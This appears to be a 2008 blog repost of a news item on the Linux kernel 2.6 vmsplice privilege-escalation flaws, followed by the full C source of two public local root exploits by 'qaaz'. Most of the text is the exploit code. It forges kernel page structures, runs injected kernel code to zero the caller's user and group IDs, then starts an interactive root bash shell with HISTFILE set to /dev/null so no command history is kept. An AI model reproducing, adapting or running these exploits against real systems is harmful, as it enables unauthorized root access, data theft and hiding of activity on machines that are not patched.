文章来源:milw0rm
A researcher has released exploit codes for newly discovered Linux kernel 2.6 flaws which
could permit attackers to gain root-system privileges they can use to steal data or mount denials of service on Linux-based systems.

Calling himself “qaaz,” the researcher on Saturday posted on the MilwOrm.com site two exploits labeled “Linux kernel 2.6.17 – 2.6.24.1 vmsplice Local Root Exploit” and "Linux kernel 2.6.23 – 2.6.24 vmsplice Local Root Exploit.”

However, the Linux flaws – system call vulnerabilities which have been labeled a “moderate risk” by FrSIRT, the French security response team,  and “less critical” by Danish vulnerability clearinghouse Secunia – apparently already have been fixed in newer versions of Linux kernel 2.6, researchers said. Secunia also said in its advisory that the Linux flaws can only be exploited from local systems.

Researchers cautioned that although the new vulnerabilities apparently cannot be exploited remotely, the potential for a root-level exploit offered by the kernel flaws may give attackers access to sensitive data on servers running the flawed version of Linux.

Multiple vulnerabilities were discovered late last week by Wojciech Purczynskiof of iSEC Security Research in “vmsplice” functions in the kernel 2.6 operating system that are not being properly verified before being used to perform memory operations — rendering them vulnerable to exploits that bypass security restrictions and enable attackers to obtain elevated privileges.

According to Secunia, the vulnerabilities first appeared in Linux kernal version 2.6.17.

“These issues are caused by errors in the “vmsplice_to_user(),” “copy_from_user_mmap_sem(),” and “get_iovec_page_array(),” [fs/splice.c] functions that do not validate user-supplied data before being used, which could be exploited by malicious users to read or write arbitrary memory data, and execute malicious code with elevated privileges,” FrSIRT said, in a warning posted on Monday.

FrSirt said the kernel vulnerabilities could be exploited by “malicious local users” to cause a denial of service or to disclose sensitive data, and recommended that Linux users upgrade to kernel versions 2.6.23.16 or 2.6.24.2, which do not have the flaws.

 

 

/*
 * jessica_biel_naked_in_my_bed.c
 *
 * Dovalim z knajpy a cumim ze Wojta zas nema co robit, kura.
 * Gizdi, tutaj mate cosyk na hrani, kym aj totok vykeca.
 * Stejnak je to stare jak cyp a aj jakesyk rozbite.
 *
 * Linux vmsplice Local Root Exploit
 * By qaaz
 *
 * Linux 2.6.17 - 2.6.24.1
 *
 * This is quite old code and I had to rewrite it to even compile.
 * It should work well, but I don't remeber original intent of all
 * the code, so I'm not 100% sure about it. You've been warned ;)
 *
 * -static -Wno-format 
 */
#define _GNU_SOURCE
#include <stdio.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <malloc.h>
#include <limits.h>
#include <signal.h>
#include <unistd.h>
#include <sys/uio.h>
#include <sys/mman.h>
#include <asm/page.h>
#define __KERNEL__
#include <asm/unistd.h>
 
#define PIPE_BUFFERS   16
#define PG_compound    14
#define uint           unsigned int
#define static_inline  static inline __attribute__((always_inline))
#define STACK(x)       (x + sizeof(x) - 40)
 
struct page {
        unsigned long flags;
        int count;
        int mapcount;
        unsigned long private;
        void *mapping;
        unsigned long index;
        struct { long next, prev; } lru;
};
 
void    exit_code();
char    exit_stack[1024 * 1024];
 
void    die(char *msg, int err)
{
        printf(err ? "[-] %s: %s\n" : "[-] %s\n", msg, strerror(err));
        fflush(stdout);
        fflush(stderr);
        exit(1);
}
 
#if defined (__i386__)
 
#ifndef __NR_vmsplice
#define __NR_vmsplice  316
#endif
 
#define USER_CS        0x73
#define USER_SS        0x7b
#define USER_FL        0x246
 
static_inline
void    exit_kernel()
{
        __asm__ __volatile__ (
        "movl %0, 0x10(%%esp) ;"
        "movl %1, 0x0c(%%esp) ;"
        "movl %2, 0x08(%%esp) ;"
        "movl %3, 0x04(%%esp) ;"
        "movl %4, 0x00(%%esp) ;"
        "iret"
        : : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
            "i" (USER_CS), "r" (exit_code)
        );
}
 
static_inline
void *  get_current()
{
        unsigned long curr;
        __asm__ __volatile__ (
        "movl %%esp, %%eax ;"
        "andl %1, %%eax ;"
        "movl (%%eax), %0"
        : "=r" (curr)
        : "i" (~8191)
        );
        return (void *) curr;
}
 
#elif defined (__x86_64__)
 
#ifndef __NR_vmsplice
#define __NR_vmsplice  278
#endif
 
#define USER_CS        0x23
#define USER_SS        0x2b
#define USER_FL        0x246
 
static_inline
void    exit_kernel()
{
        __asm__ __volatile__ (
        "swapgs ;"
        "movq %0, 0x20(%%rsp) ;"
        "movq %1, 0x18(%%rsp) ;"
        "movq %2, 0x10(%%rsp) ;"
        "movq %3, 0x08(%%rsp) ;"
        "movq %4, 0x00(%%rsp) ;"
        "iretq"
        : : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
            "i" (USER_CS), "r" (exit_code)
        );
}
 
static_inline
void *  get_current()
{
        unsigned long curr;
        __asm__ __volatile__ (
        "movq %%gs:(0), %0"
        : "=r" (curr)
        );
        return (void *) curr;
}
 
#else
#error "unsupported arch"
#endif
 
#if defined (_syscall4)
#define __NR__vmsplice __NR_vmsplice
_syscall4(
        long, _vmsplice,
        int, fd,
        struct iovec *, iov,
        unsigned long, nr_segs,
        unsigned int, flags)
 
#else
#define _vmsplice(fd,io,nr,fl) syscall(__NR_vmsplice, (fd), (io), (nr), (fl))
#endif
 
static uint uid, gid;
 
void    kernel_code()
{
        int     i;
        uint    *p = get_current();
 
        for (i = 0; i < 1024-13; i++) {
               if (p[0] == uid && p[1] == uid &&
                   p[2] == uid && p[3] == uid &&
                   p[4] == gid && p[5] == gid &&
                   p[6] == gid && p[7] == gid) {
                       p[0] = p[1] = p[2] = p[3] = 0;
                       p[4] = p[5] = p[6] = p[7] = 0;
                       p = (uint *) ((char *)(p + 8) + sizeof(void *));
                       p[0] = p[1] = p[2] = ~0;
                       break;
               }
               p++;
        }      
 
        exit_kernel();
}
 
void    exit_code()
{
        if (getuid() != 0)
               die("wtf", 0);
 
        printf("[+] root\n");
        putenv("HISTFILE=/dev/null");
        execl("/bin/bash", "bash", "-i", NULL);
        die("/bin/bash", errno);
}
 
int     main(int argc, char *argv[])
{
        int            pi[2];
        size_t         map_size;
        char *         map_addr;
        struct iovec   iov;
        struct page *  pages[5];
 
        uid = getuid();
        gid = getgid();
        setresuid(uid, uid, uid);
        setresgid(gid, gid, gid);
 
        printf("-----------------------------------\n");
        printf(" Linux vmsplice Local Root Exploit\n");
        printf(" By qaaz\n");
        printf("-----------------------------------\n");
 
        if (!uid || !gid)
               die("!@#$", 0);
 
        /*****/
        pages[0] = *(void **) &(int[2]){0,PAGE_SIZE};
        pages[1] = pages[0] + 1;
 
        map_size = PAGE_SIZE;
        map_addr = mmap(pages[0], map_size, PROT_READ | PROT_WRITE,
                        MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
        if (map_addr == MAP_FAILED)
               die("mmap", errno);
 
        memset(map_addr, 0, map_size);
        printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
        printf("[+] page: 0x%lx\n", pages[0]);
        printf("[+] page: 0x%lx\n", pages[1]);
 
        pages[0]->flags    = 1 << PG_compound;
        pages[0]->private  = (unsigned long) pages[0];
        pages[0]->count    = 1;
        pages[1]->lru.next = (long) kernel_code;
 
        /*****/
        pages[2] = *(void **) pages[0];
        pages[3] = pages[2] + 1;
 
        map_size = PAGE_SIZE;
        map_addr = mmap(pages[2], map_size, PROT_READ | PROT_WRITE,
                        MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
        if (map_addr == MAP_FAILED)
               die("mmap", errno);
 
        memset(map_addr, 0, map_size);
        printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
        printf("[+] page: 0x%lx\n", pages[2]);
        printf("[+] page: 0x%lx\n", pages[3]);
 
        pages[2]->flags    = 1 << PG_compound;
        pages[2]->private  = (unsigned long) pages[2];
        pages[2]->count    = 1;
        pages[3]->lru.next = (long) kernel_code;
 
        /*****/
        pages[4] = *(void **) &(int[2]){PAGE_SIZE,0};
        map_size = PAGE_SIZE;
        map_addr = mmap(pages[4], map_size, PROT_READ | PROT_WRITE,
                        MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
        if (map_addr == MAP_FAILED)
               die("mmap", errno);
        memset(map_addr, 0, map_size);
        printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
        printf("[+] page: 0x%lx\n", pages[4]);
 
        /*****/
        map_size = (PIPE_BUFFERS * 3 + 2) * PAGE_SIZE;
        map_addr = mmap(NULL, map_size, PROT_READ | PROT_WRITE,
                        MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
        if (map_addr == MAP_FAILED)
               die("mmap", errno);
 
        memset(map_addr, 0, map_size);
        printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
 
        /*****/
        map_size -= 2 * PAGE_SIZE;
        if (munmap(map_addr + map_size, PAGE_SIZE) < 0)
               die("munmap", errno);
 
        /*****/
        if (pipe(pi) < 0) die("pipe", errno);
        close(pi[0]);
 
        iov.iov_base = map_addr;
        iov.iov_len  = ULONG_MAX;
 
        signal(SIGPIPE, exit_code);
        _vmsplice(pi[1], &iov, 1, 0);
        die("vmsplice", errno);
        return 0;
}
 

 ##################################################################

/*
 * diane_lane_fucked_hard.c
 *
 * Linux vmsplice Local Root Exploit
 * By qaaz
 *
 * Linux 2.6.23 - 2.6.24
 */
#define _GNU_SOURCE
#include <stdio.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/uio.h>
 
#define TARGET_PATTERN         " sys_vm86old"
#define TARGET_SYSCALL         113
 
#ifndef __NR_vmsplice
#define __NR_vmsplice          316
#endif
 
#define _vmsplice(fd,io,nr,fl) syscall(__NR_vmsplice, (fd), (io), (nr), (fl))
#define gimmeroot()            syscall(TARGET_SYSCALL, 31337, kernel_code, 1, 2, 3, 4)
 
#define TRAMP_CODE             (void *) trampoline   
#define TRAMP_SIZE             ( sizeof(trampoline) - 1 )
 
unsigned char trampoline[] =
"\x8b\x5c\x24\x04"             /* mov    0x4(%esp),%ebx       */
"\x8b\x4c\x24\x08"             /* mov    0x8(%esp),%ecx       */
"\x81\xfb\x69\x7a\x00\x00"     /* cmp    $31337,%ebx          */
"\x75\x02"                     /* jne    +2                   */
"\xff\xd1"                     /* call   *%ecx                */
"\xb8\xea\xff\xff\xff"         /* mov    $-EINVAL,%eax               */
"\xc3"                         /* ret                         */
;
 
void    die(char *msg, int err)
{
        printf(err ? "[-] %s: %s\n" : "[-] %s\n", msg, strerror(err));
        fflush(stdout);
        fflush(stderr);
        exit(1);
}
 
long    get_target()
{
        FILE    *f;
        long    addr = 0;
        char    line[128];
 
        f = fopen("/proc/kallsyms", "r");
        if (!f) die("/proc/kallsyms", errno);
 
        while (fgets(line, sizeof(line), f)) {
               if (strstr(line, TARGET_PATTERN)) {
                       addr = strtoul(line, NULL, 16);
                       break;
               }
        }
 
        fclose(f);
        return addr;
}
 
static inline __attribute__((always_inline))
void *  get_current()
{
        unsigned long curr;
        __asm__ __volatile__ (
        "movl %%esp, %%eax ;"
        "andl %1, %%eax ;"
        "movl (%%eax), %0"
        : "=r" (curr)
        : "i" (~8191)
        );
        return (void *) curr;
}
 
static uint uid, gid;
 
void    kernel_code()
{
        int     i;
        uint    *p = get_current();
 
        for (i = 0; i < 1024-13; i++) {
               if (p[0] == uid && p[1] == uid &&
                   p[2] == uid && p[3] == uid &&
                   p[4] == gid && p[5] == gid &&
                   p[6] == gid && p[7] == gid) {
                       p[0] = p[1] = p[2] = p[3] = 0;
                       p[4] = p[5] = p[6] = p[7] = 0;
                       p = (uint *) ((char *)(p + 8) + sizeof(void *));
                       p[0] = p[1] = p[2] = ~0;
                       break;
               }
               p++;
        }      
}
 
int     main(int argc, char *argv[])
{
        int            pi[2];
        long           addr;
        struct iovec   iov;
 
        uid = getuid();
        gid = getgid();
        setresuid(uid, uid, uid);
        setresgid(gid, gid, gid);
 
        printf("-----------------------------------\n");
        printf(" Linux vmsplice Local Root Exploit\n");
        printf(" By qaaz\n");
        printf("-----------------------------------\n");
 
        if (!uid || !gid)
               die("!@#$", 0);
 
        addr = get_target();
        printf("[+] addr: 0x%lx\n", addr);
 
        if (pipe(pi) < 0)
               die("pipe", errno);
 
        iov.iov_base = (void *) addr;
        iov.iov_len  = TRAMP_SIZE;
 
        write(pi[1], TRAMP_CODE, TRAMP_SIZE);
        _vmsplice(pi[0], &iov, 1, 0);
 
        gimmeroot();
 
        if (getuid() != 0)
               die("wtf", 0);
 
        printf("[+] root\n");
        putenv("HISTFILE=/dev/null");
        execl("/bin/bash", "bash", "-i", NULL);
        die("/bin/bash", errno);
        return 0;
}

posted on 2008-02-26 18:34  ccx0r  阅读(540)  评论(0编辑  收藏  举报



ccx0r's 的涂鴉空間
版权没有,任意轉載